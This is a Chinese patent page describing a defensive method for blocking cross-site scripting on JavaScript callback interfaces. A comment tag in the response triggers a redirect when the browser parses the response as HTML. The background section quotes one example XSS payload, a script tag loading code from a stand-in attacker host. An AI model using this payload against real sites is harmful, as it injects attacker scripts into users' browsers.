一种阻止XSS攻击的方法、系统及装置制造方法及图纸

技术编号:16475773 阅读:39 留言:0更新日期:2017-10-29 03:37
本发明专利技术实施例提供一种阻止XSS攻击的方法、系统及装置,该方法包括:监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为HTML进行解析时,认为存在XSS攻击,执行所述防攻击注释标签实现网页跳转。能够有效的防止XSS攻击,在有可能存在XSS攻击时,及时跳转,避免用户受到有害攻击。

【技术实现步骤摘要】
一种阻止XSS攻击的方法、系统及装置
本专利技术涉及网络安全
,尤指一种阻止跨域脚本攻击(cross-sitescripting,XSS)的方法、系统及装置。
技术介绍
随着网络技术的发展,越来越多的用户使用浏览器浏览网站发布的网页,而在用户浏览网页内容时,网站通常需要使用JavaScript(JS)接口返回数据供用户浏览器进行渲染,以便浏览器将数据展示给用户。在这个过程中,如果数据返回的结果不当,可能造成用户被XSS攻击。通常情况下,攻击者试图让用户将这些JS接口当做页面解析,而JS和超文本标记语言(HyperTextMarkupLanguage,HTML)的语法不同,给了攻击者可乘之机。为了防止XSS攻击,挺高网络安全性,目前常用的做法包括以下两种:一是对返回的超文本传输协议(HyperTextTransferProtocol,HTTP)头中的内容类型(Content-type)进行修改,使浏览器拒绝将此统一资源定位符(UniversalResourceLocator,URL)作为页面打开和渲染。二是对返回的内容进行转义,防止特殊的字符出现。上述的两种方法都是被广泛使用的,但是却存在缺点:如果使用第一种方式,部分老旧的浏览器无法正确处理Content-type,又或者是,可以使用某些攻击手段,使用户将上述JS接口当作页面进行渲染,从而不能有效的防止XSS攻击。尤其是旧版浏览器中这种确定表现的比较明显。如果使用第二种方式,对于用户传入的内容进行转义是可行的,但是却可能影响一些既有的用法和功能;另一方面,对于本身输出的内容,由于JS和HTML的语法区别,可能本身存储了足以触发XSS的字符。例如,攻击者可以通过某些方法,典型的如留言板,使用户访问到一个如下的接口:callback({“content”:“<scriptsrc=http://hacked.com/hacked.js></script>”});从而可以继续实施攻击,因此,这种方式也不能有效的防止XSS攻击。可见,现有技术中的用于防止XSS攻击的方式都存在其弊端,都不能十分有效地防止XSS攻击,网络安全不能得到有效保障,安全性差。
技术实现思路
本专利技术实施例提供一种阻止XSS攻击的方法、系统及装置,用以解决现有技术中存在的不能有效阻止XSS攻击、JS接口使用过程中安全性差、网络安全不能得到保障的问题。一方面,本专利技术实施例提供了一种阻止XSS攻击的方法,包括:监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HTML进行解析时,执行所述防攻击注释标签实现网页跳转。在一些可选的实施例中,所述防攻击注释标签添加在通过指定接口返回的页面数据正文的前边。在一些可选的实施例中,所述防攻击注释标签中的防攻击标签用于实现页面跳转,所述防攻击注释标签中的注释包围所述防攻击标签。在一些可选的实施例中,所述指定接口为JavaScript接口,所述防攻击注释标签为JavaScript注释标签。本专利技术实施例还提供一种阻止跨域脚本XSS攻击的装置,包括:监控接收模块,用于监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;解析执行模块,用于当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HTML进行解析时,执行防攻击注释标签实现网页跳转。在一些可选的实施例中,所述监控接收模块,具体用于:接收到的所述页面数据中包含的防攻击注释标签添加在通过指定接口返回的页面数据正文的前边。在一些可选的实施例中,所述监控接收模块,具体用于:接收到的所述页面数据包含的防攻击注释标签中的防攻击标签用于实现页面跳转,所述防攻击注释标签中的注释包围所述防攻击标签。在一些可选的实施例中,所述监控接收模块,具体用于:监控用户访问页面时网站服务器通过JavaScript接口返回的页面数据,所述页面数据中包含JavaScript注释标签;相应的,解析执行模块,具体用于当浏览器将页面数据作为JavaScript数据进行解析时,将所述JavaScript注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HTML进行解析时,认为存在XSS攻击,执行JavaScript注释标签实现网页跳转。本专利技术实施例还提供一种阻止跨域脚本XSS攻击的系统,包括:浏览器和网站服务器;所述浏览器中包括上述的阻止XSS攻击的装置;所述网站服务器,用于当用户访问网页时,向浏览器返回包含防攻击注释标签的页面数据。在一些可选的实施例中,所述网站服务器,具体用于:将所述防攻击注释标签添加在返回的页面数据正文的前边;所述防攻击注释标签中的防攻击标签用于实现页面跳转,所述防攻击注释标签中的注释包围所述防攻击标签。上述技术方案具有如下有益效果:用户访问页面时,在网站服务器通过JavaScript接口返回的数据中加入JavaScript注释标签,当浏览器将页面作为JavaScript解析时,将JavaScript注释标签解析为注释信息,并继续正常解析网页的后续内容;当浏览器将页面作为HTML解析时,执行JavaScript注释标签实现网页跳转,从而可以从攻击内容中跳转出来,用户不会执行攻击内容,使攻击代码无法执行,用户不会受到攻击,该方法通过跳转的方式是攻击者的内容无法被执行,从而有效地避免攻击。附图说明为了更清楚地说明本专利技术实施例或现有技术中的技术方案,下面将对实施例或现有技术描述中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本专利技术的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。图1是本专利技术实施例一中阻止XSS攻击的方法流程图;图2是本专利技术实施例二中阻止XSS攻击的方法流程图;图3是本专利技术实施例中阻止XSS攻击的系统结构示意图;图4是本专利技术实施例中阻止XSS攻击的装置结构示意图。具体实施方式下面将结合本专利技术实施例中的附图,对本专利技术实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本专利技术一部分实施例,而不是全部的实施例。基于本专利技术中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本专利技术保护的范围。跨域脚本(Cross-sitescripting,XSS)攻击是最常见的网页(Web)攻击,其重点是“跨域”和“客户端执行”,XSS攻击有时候可以被分为三种,分别是:基于反射的XSS攻击(ReflectedXSS)、基于存储的XSS攻击(StoredXSS)、基于DOM或本地的XSS攻击(DOM-basedorlocalXSS)等。为了解决现有技术中存在的不能十分有效地防止XSS攻击,网络安全不能得到有效保障的问题,本专利技术实施例提供一种阻止XSS攻击的方法,能够有效的防止XSS攻击,提高网络访问安全性,保障用户在网络使用过程本文档来自技高网
...
一种阻止XSS攻击的方法、系统及装置

【技术保护点】
一种阻止跨域脚本XSS攻击的方法,其特征在于,包括:监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HTML进行解析时,执行所述防攻击注释标签实现网页跳转。

【技术特征摘要】
1.一种阻止跨域脚本XSS攻击的方法,其特征在于,包括:监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HTML进行解析时,执行所述防攻击注释标签实现网页跳转。2.如权利要求1所述的方法,其特征在于,所述防攻击注释标签添加在通过指定接口返回的页面数据正文的前边。3.如权利要求1所述的方法,其特征在于,所述防攻击注释标签中的防攻击标签用于实现页面跳转,所述防攻击注释标签中的注释包围所述防攻击标签。4.如权利要求1-3任一所述的方法,其特征在于,所述指定接口为JavaScript接口,所述防攻击注释标签为JavaScript注释标签;相应的,当浏览器将页面数据作为JavaScript数据进行解析时,将所述JavaScript注释标签解析为JavaScript注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为HTML进行解析时,认为存在XSS攻击,执行JavaScript注释标签实现网页跳转。5.一种阻止跨域脚本XSS攻击的装置,其特征在于,包括:监控接收模块,用于监控用户访问页面时网站服务器通过指定接口返回的页面数据,所述页面数据中包含防攻击注释标签;解析执行模块,用于当浏览器将页面数据作为指定接口数据进行解析时,将所述防攻击注释标签解析为注释信息,并继续正常解析页面数据的后续内容;当浏览器将页面数据作为超文本标记语言HT...

【专利技术属性】
技术研发人员:黄旭
申请(专利权)人:新浪网技术中国有限公司
类型:发明
国别省市:北京,11

网友询问留言 已有0条评论
  • 还没有人留言评论。发表了对其他浏览者有用的留言会获得科技券。

1